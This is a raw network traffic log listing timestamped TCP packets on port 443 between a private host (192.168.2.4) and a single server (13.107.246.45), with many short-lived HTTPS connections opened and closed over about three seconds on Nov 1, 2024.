Nov 1, 2024 05:53:22.006525993 CET	49882	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:22.006532907 CET	443	49882	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:22.006840944 CET	49882	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:22.006844997 CET	443	49882	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:22.010631084 CET	443	49881	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:22.010878086 CET	49881	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:22.010898113 CET	443	49881	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:22.011164904 CET	49881	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:22.011171103 CET	443	49881	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:22.025127888 CET	443	49879	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:22.025362015 CET	49879	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:22.025387049 CET	443	49879	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:22.025660992 CET	49879	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:22.025669098 CET	443	49879	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:22.133882046 CET	443	49880	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:22.133904934 CET	443	49880	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:22.133935928 CET	443	49880	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:22.133963108 CET	49880	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:22.133991957 CET	49880	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:22.134322882 CET	49880	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:22.134334087 CET	443	49880	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:22.134342909 CET	49880	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:22.134346962 CET	443	49880	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:22.136301994 CET	443	49882	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:22.136837959 CET	443	49882	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:22.136895895 CET	49882	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:22.137190104 CET	49884	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:22.137217045 CET	443	49884	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:22.137279034 CET	49884	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:22.137361050 CET	49882	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:22.137365103 CET	443	49882	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:22.137373924 CET	49882	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:22.137377024 CET	443	49882	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:22.138413906 CET	49884	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:22.138426065 CET	443	49884	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:22.139559031 CET	49885	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:22.139609098 CET	443	49885	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:22.139667034 CET	49885	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:22.139831066 CET	49885	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:22.139846087 CET	443	49885	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:22.142353058 CET	443	49881	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:22.142421007 CET	443	49881	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:22.142466068 CET	49881	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:22.142534971 CET	49881	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:22.142549992 CET	443	49881	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:22.142560959 CET	49881	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:22.142565012 CET	443	49881	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:22.144624949 CET	49886	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:22.144634008 CET	443	49886	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:22.144716024 CET	49886	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:22.144826889 CET	49886	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:22.144834995 CET	443	49886	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:22.158678055 CET	443	49879	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:22.158740044 CET	443	49879	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:22.158790112 CET	49879	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:22.158910990 CET	49879	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:22.158945084 CET	443	49879	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:22.158972979 CET	49879	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:22.158987045 CET	443	49879	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:22.160835028 CET	49887	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:22.160859108 CET	443	49887	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:22.160917044 CET	49887	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:22.161027908 CET	49887	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:22.161041975 CET	443	49887	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:22.219862938 CET	443	49883	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:22.220406055 CET	49883	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:22.220422029 CET	443	49883	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:22.220853090 CET	49883	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:22.220856905 CET	443	49883	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:22.356653929 CET	443	49883	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:22.356719971 CET	443	49883	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:22.356786966 CET	49883	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:22.357017994 CET	49883	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:22.357033014 CET	443	49883	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:22.357053041 CET	49883	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:22.357058048 CET	443	49883	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:22.360181093 CET	49888	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:22.360222101 CET	443	49888	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:22.360306978 CET	49888	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:22.360480070 CET	49888	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:22.360496998 CET	443	49888	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:22.873090029 CET	443	49886	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:22.874345064 CET	443	49884	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:22.878268957 CET	443	49885	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:22.879334927 CET	49886	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:22.879343033 CET	443	49886	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:22.879765987 CET	49886	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:22.879770041 CET	443	49886	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:22.883169889 CET	49884	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:22.883182049 CET	443	49884	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:22.883529902 CET	49884	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:22.883533955 CET	443	49884	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:22.885452986 CET	443	49887	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:22.887021065 CET	49887	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:22.887033939 CET	443	49887	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:22.890558004 CET	49887	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:22.890562057 CET	443	49887	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:22.914685965 CET	49885	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:22.914701939 CET	443	49885	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:22.918215036 CET	49885	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:22.918222904 CET	443	49885	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:23.010699987 CET	443	49886	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:23.010736942 CET	443	49886	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:23.010788918 CET	443	49886	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:23.010788918 CET	49886	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:23.010834932 CET	49886	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:23.014679909 CET	443	49884	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:23.014700890 CET	443	49884	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:23.014731884 CET	443	49884	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:23.014760971 CET	49884	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:23.014792919 CET	49884	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:23.017119884 CET	443	49887	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:23.017173052 CET	443	49887	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:23.017215014 CET	49887	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:23.026606083 CET	49886	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:23.026618004 CET	443	49886	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:23.026628017 CET	49886	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:23.026632071 CET	443	49886	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:23.027997017 CET	49884	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:23.028000116 CET	443	49884	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:23.028039932 CET	49884	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:23.028043032 CET	443	49884	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:23.028069973 CET	49887	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:23.028086901 CET	443	49887	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:23.028101921 CET	49887	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:23.028107882 CET	443	49887	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:23.031796932 CET	49889	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:23.031825066 CET	443	49889	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:23.031933069 CET	49889	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:23.032095909 CET	49890	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:23.032133102 CET	443	49890	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:23.032185078 CET	49890	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:23.032424927 CET	49889	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:23.032437086 CET	443	49889	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:23.033334017 CET	49890	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:23.033349037 CET	443	49890	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:23.033504963 CET	49891	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:23.033512115 CET	443	49891	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:23.033557892 CET	49891	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:23.033672094 CET	49891	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:23.033680916 CET	443	49891	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:23.048957109 CET	443	49885	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:23.049025059 CET	443	49885	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:23.049071074 CET	49885	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:23.054883957 CET	49885	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:23.054893017 CET	443	49885	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:23.054900885 CET	49885	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:23.054904938 CET	443	49885	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:23.102401018 CET	443	49888	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:23.134479046 CET	49892	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:23.134506941 CET	443	49892	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:23.134572983 CET	49892	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:23.143645048 CET	49888	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:23.304984093 CET	49888	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:23.304996014 CET	443	49888	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:23.305457115 CET	49888	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:23.305463076 CET	443	49888	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:23.305690050 CET	49892	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:23.305701017 CET	443	49892	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:23.433403969 CET	443	49888	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:23.433433056 CET	443	49888	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:23.433479071 CET	49888	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:23.433480024 CET	443	49888	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:23.433523893 CET	49888	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:23.433898926 CET	49888	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:23.433916092 CET	443	49888	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:23.433928967 CET	49888	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:23.433937073 CET	443	49888	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:23.436809063 CET	49893	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:23.436882019 CET	443	49893	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:23.436954975 CET	49893	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:23.437191963 CET	49893	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:23.437227011 CET	443	49893	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:23.756747961 CET	443	49891	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:23.757217884 CET	49891	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:23.757242918 CET	443	49891	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:23.757653952 CET	49891	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:23.757658958 CET	443	49891	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:23.766422033 CET	443	49890	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:23.766796112 CET	49890	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:23.766813040 CET	443	49890	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:23.767199993 CET	49890	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:23.767205954 CET	443	49890	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:23.768601894 CET	443	49889	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:23.768965960 CET	49889	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:23.768974066 CET	443	49889	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:23.769412994 CET	49889	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:23.769418001 CET	443	49889	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:23.895558119 CET	443	49891	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:23.895622015 CET	443	49891	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:23.895672083 CET	49891	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:23.895855904 CET	49891	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:23.895864964 CET	443	49891	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:23.899102926 CET	49894	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:23.899117947 CET	443	49894	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:23.899184942 CET	49894	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:23.899297953 CET	49894	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:23.899303913 CET	443	49894	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:23.899930000 CET	443	49890	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:23.899960041 CET	443	49890	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:23.899988890 CET	443	49890	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:23.900005102 CET	49890	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:23.900036097 CET	49890	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:23.900109053 CET	49890	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:23.900119066 CET	443	49890	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:23.900141954 CET	49890	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:23.900146961 CET	443	49890	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:23.902015924 CET	49895	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:23.902055025 CET	443	49895	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:23.902122974 CET	49895	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:23.902271986 CET	49895	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:23.902288914 CET	443	49895	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:23.903521061 CET	443	49889	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:23.903578997 CET	443	49889	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:23.903618097 CET	49889	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:23.903726101 CET	49889	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:23.903731108 CET	443	49889	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:23.903740883 CET	49889	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:23.903744936 CET	443	49889	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:23.906047106 CET	49896	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:23.906069994 CET	443	49896	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:23.906127930 CET	49896	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:23.906287909 CET	49896	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:23.906301022 CET	443	49896	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:24.031330109 CET	443	49892	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:24.031831980 CET	49892	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:24.031846046 CET	443	49892	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:24.032320976 CET	49892	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:24.032325029 CET	443	49892	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:24.158963919 CET	443	49892	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:24.158993959 CET	443	49892	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:24.159037113 CET	443	49892	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:24.159081936 CET	49892	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:24.159113884 CET	49892	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:24.159393072 CET	49892	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:24.159400940 CET	443	49892	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:24.159409046 CET	49892	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:24.159413099 CET	443	49892	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:24.162409067 CET	49897	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:24.162452936 CET	443	49897	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:24.162545919 CET	49897	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:24.162746906 CET	49897	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:24.162760019 CET	443	49897	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:24.181802988 CET	443	49893	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:24.182292938 CET	49893	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:24.182321072 CET	443	49893	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:24.182728052 CET	49893	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:24.182734966 CET	443	49893	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:24.323652029 CET	443	49893	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:24.323715925 CET	443	49893	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:24.323802948 CET	49893	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:24.324006081 CET	49893	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:24.324040890 CET	443	49893	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:24.324065924 CET	49893	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:24.324083090 CET	443	49893	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:24.326534986 CET	49898	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:24.326550961 CET	443	49898	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:24.326632023 CET	49898	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:24.326764107 CET	49898	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:24.326781988 CET	443	49898	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:24.625539064 CET	443	49896	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:24.625957012 CET	49896	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:24.625968933 CET	443	49896	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:24.626389980 CET	49896	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:24.626394987 CET	443	49896	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:24.635893106 CET	443	49894	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:24.636228085 CET	49894	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:24.636236906 CET	443	49894	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:24.636698961 CET	49894	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:24.636703014 CET	443	49894	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:24.641541004 CET	443	49895	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:24.641906977 CET	49895	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:24.641942024 CET	443	49895	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:24.642316103 CET	49895	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:24.642328024 CET	443	49895	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:24.753810883 CET	443	49896	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:24.753865957 CET	443	49896	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:24.753905058 CET	443	49896	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:24.753964901 CET	49896	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:24.754089117 CET	49896	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:24.754097939 CET	443	49896	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:24.754132986 CET	49896	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:24.754137993 CET	443	49896	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:24.756829023 CET	49899	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:24.756866932 CET	443	49899	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:24.756978035 CET	49899	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:24.757106066 CET	49899	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:24.757122040 CET	443	49899	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:24.765886068 CET	443	49894	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:24.765925884 CET	443	49894	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:24.765974998 CET	49894	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:24.766161919 CET	49894	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:24.766163111 CET	49894	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:24.766170025 CET	443	49894	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:24.766177893 CET	443	49894	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:24.768928051 CET	49900	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:24.768946886 CET	443	49900	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:24.769009113 CET	49900	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:24.769146919 CET	49900	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:24.769156933 CET	443	49900	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:24.772339106 CET	443	49895	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:24.772425890 CET	443	49895	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:24.772479057 CET	49895	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:24.772557020 CET	49895	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:24.772557020 CET	49895	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:24.772584915 CET	443	49895	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:24.772607088 CET	443	49895	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:24.774643898 CET	49901	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:24.774676085 CET	443	49901	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:24.774920940 CET	49901	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:24.775037050 CET	49901	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:24.775053978 CET	443	49901	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:24.889816046 CET	443	49897	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:24.890521049 CET	49897	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:24.890543938 CET	443	49897	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:24.890961885 CET	49897	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:24.890969992 CET	443	49897	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:25.021029949 CET	443	49897	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:25.021147013 CET	443	49897	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:25.021255016 CET	49897	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:25.021541119 CET	49897	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:25.021541119 CET	49897	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:25.021564960 CET	443	49897	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:25.021578074 CET	443	49897	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:25.024724960 CET	49902	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:25.024746895 CET	443	49902	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:25.024838924 CET	49902	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:25.025028944 CET	49902	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:25.025039911 CET	443	49902	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:25.072396040 CET	443	49898	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:25.074147940 CET	49898	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:25.074176073 CET	443	49898	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:25.074642897 CET	49898	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:25.074647903 CET	443	49898	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:25.206409931 CET	443	49898	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:25.206440926 CET	443	49898	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:25.206484079 CET	443	49898	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:25.206659079 CET	49898	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:25.206659079 CET	49898	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:25.206828117 CET	49898	443	192.168.2.4	13.107.246.45
